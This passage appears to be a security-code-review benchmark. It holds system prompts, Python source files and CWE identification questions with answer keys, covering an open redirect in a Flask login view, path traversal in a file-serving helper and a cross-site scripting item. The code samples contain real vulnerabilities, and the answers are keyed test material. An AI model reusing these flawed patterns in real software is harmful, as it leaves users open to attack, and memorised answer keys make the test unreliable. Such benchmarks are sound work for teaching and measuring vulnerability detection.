        article = self.xpath('//div[@class="row" and not(div[@class="hero-unit"])]')

        # clean up the HTML
        article = self.remove_nodes(article, ['*//footer', '*//figure'])

        html = self.get_node_html(article)

        # add a title and a footer
        return '\n'.join([
            self.HEADER.format(title=self.get_title(), author=self.get_author()).strip(),
            html
        ])

    def get_title(self):
        return self.get_node('//h1').strip()

    def get_author(self):
        try:
            author = self.get_node('//div[@class="hero-unit"]//p/a').strip()
        except AttributeError:
            # @see http://aosabook.org/en/500L/a-web-crawler-with-asyncio-coroutines.html
            author = self.get_node('//div[@class="hero-unit"]//h2').strip()

        return author

    def get_language(self):
        return 'en'

```

Name the function or class in this code that contains a `CWE-20: Improper Input Validation` vulnerability.
Answer: is_my_url
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import jinja2

from app.helper import file_helper

def load(name, data={}):
  # set the file
  file = '%s_view.html' % name

  # set the folder
  folder = 'app/view/'

  # and the path
  path = folder + file

  # check the file exists
  if file_helper.check(path) is False:
    # gracefully default to the standard app file
    file = 'page_view.html'

  # set up env for the renderer
  env = jinja2.Environment(loader=jinja2.FileSystemLoader(folder))

  # prepare the template
  template = env.get_template(file)

  # render and return the template
  return template.render(data)
```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  B) CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
  C) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  D) CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  E) CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
  F) CWE-117: Improper Output Neutralization for Logs
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python
""" Usage: vmemprof <vmprof.dat>

Run with output of vmprof run with memory profiling (like vmprof.enable(fileno, 0.01, True))
"""

import vmprof
import os, json, sys
from flask import Flask, Response, request
app = Flask(__name__)

if len(sys.argv) != 2:
    print __doc__
    sys.exit(1)

stats = vmprof.read_profile(sys.argv[1])

MAX = 60

def strip(s):
    s = s.replace("<", "&lt;").replace(">", "&gt;")
    l = s.split(":")
    if len(l[3]) > MAX:
        l[3] = "..." + l[3][-(MAX - 3):]
    l[1] = "<b>" + l[1] + "</b>"
    return "%s %s:%s" % (l[1], l[3], l[2])

def resample_and_pack(profiles, start, end, window_size):
    next = []
    mem = []
    i = start
    skip = (end - start) / window_size
    while i < end:
        prof = profiles[int(i)]
        stack_trace = "<br/>".join([strip(stats.adr_dict.get(x, '<unknown>')) for x in prof[0]])
        mem.append((i, prof[3], stack_trace))
        i += skip
    return {'mem': mem}

def root_dir():
    return os.path.abspath(os.path.dirname(__file__))

def get_file(filename):  # pragma: no cover
    try:
        src = os.path.join(root_dir(), filename)
        # Figure out how flask returns static files
        # Tried:
        # - render_template
        # - send_file
        # This should not be so non-obvious
        return open(src).read()
    except IOError as exc:
        return str(exc)

@app.route('/', methods=['GET'])
def index():  # pragma: no cover
    content = get_file('main.html')
    return Response(content, mimetype="text/html")

@app.route('/get_json', methods=['GET'])
def get_json():
    default_size = 800
    x0 = float(request.args.get("x0", "0"))
    x1 = float(request.args.get("x1", len(stats.profiles)))
    content = resample_and_pack(stats.profiles, x0, x1, default_size)    
    return Response(json.dumps(content), mimetype="text/json")

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def get_resource(path):  # pragma: no cover
    mimetypes = {
        ".css": "text/css",
        ".html": "text/html",
        ".js": "application/javascript",
    }
    complete_path = os.path.join(root_dir(), path)
    ext = os.path.splitext(path)[1]
    mimetype = mimetypes.get(ext, "text/html")
    content = get_file(complete_path)
    return Response(content, mimetype=mimetype)

if __name__ == '__main__':
    app.run(debug=True)

```

Name the function or class in this code that contains a `CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')` vulnerability.
Answer: get_file
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from flask import Blueprint, render_template, redirect, session, url_for, flash, request 
from werkzeug.security import generate_password_hash

from author.models import Author
from author.forms import RegisterForm, LoginForm
from application import db

author_app = Blueprint('author_app', __name__)

@author_app.route('/register', methods=['GET', 'POST']) # регистрация
def register():
    form = RegisterForm()
    if form.validate_on_submit():
        hashed_password = generate_password_hash(form.password.data) # сохраним пароль в хешированном виде
        author = Author(
            form.full_name.data,
            form.email.data,
            hashed_password
        )
        db.session.add(author)
        db.session.commit()
        flash('Подзравляем, Вы зарегестрировались! Можете войти на форум.')
        return redirect(url_for('author_app.login'))
    return render_template('author/register.html', form = form)
    

@author_app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    error = None

    if request.method == 'GET' and request.args.get('next'):
        session['next'] = request.args.get('next', None)

    if form.validate_on_submit():
        #return 'Logged in'
        author = Author.query.filter_by(email = form.email.data).first()
        session['id'] = author.id
        session['full_name'] = author.full_name
        if 'next' in session:
            next = session.get('next')
            session.pop('next')
            return redirect(next)
        else:        
            return redirect(url_for('blog_app.index'))

    return render_template('author/login.html', form=form, error=error)      

@author_app.route('/logout')
def logout():
    session.pop('id')
    session.pop('full_name')
    flash('Вы покинули форум. До новых встречь!')
    return redirect(url_for('author_app.login'))


```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-20: Improper Input Validation
  B) CWE-377: Insecure Temporary File
  C) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  D) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
  E) CWE-943: Improper Neutralization of Special Elements in Data Query Logic
  F) CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Answer: D
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
from flask import Blueprint, render_template, redirect, session, url_for, flash, request 
from werkzeug.security import generate_password_hash

from author.models import Author
from author.forms import RegisterForm, LoginForm
from application import db

author_app = Blueprint('author_app', __name__)

@author_app.route('/register', methods=['GET', 'POST']) # регистрация
def register():
    form = RegisterForm()
    if form.validate_on_submit():
        hashed_password = generate_password_hash(form.password.data) # сохраним пароль в хешированном виде
        author = Author(
            form.full_name.data,
            form.email.data,
            hashed_password
        )
        db.session.add(author)
        db.session.commit()
        flash('Подзравляем, Вы зарегестрировались! Можете войти на форум.')
        return redirect(url_for('author_app.login'))
    return render_template('author/register.html', form = form)
    

@author_app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    error = None

    if request.method == 'GET' and request.args.get('next'):
        session['next'] = request.args.get('next', None)

    if form.validate_on_submit():
        #return 'Logged in'
        author = Author.query.filter_by(email = form.email.data).first()
        session['id'] = author.id
        session['full_name'] = author.full_name
        if 'next' in session:
            next = session.get('next')
            session.pop('next')
            return redirect(next)
        else:        
            return redirect(url_for('blog_app.index'))

    return render_template('author/login.html', form=form, error=error)      

@author_app.route('/logout')
def logout():
    session.pop('id')
    session.pop('full_name')
    flash('Вы покинули форум. До новых встречь!')
    return redirect(url_for('author_app.login'))


```

Which of the following functions or classes contains a `CWE-601: URL Redirection to Untrusted Site ('Open Redirect')` vulnerability?

  A) login
  B) register
  C) logout
Answer: A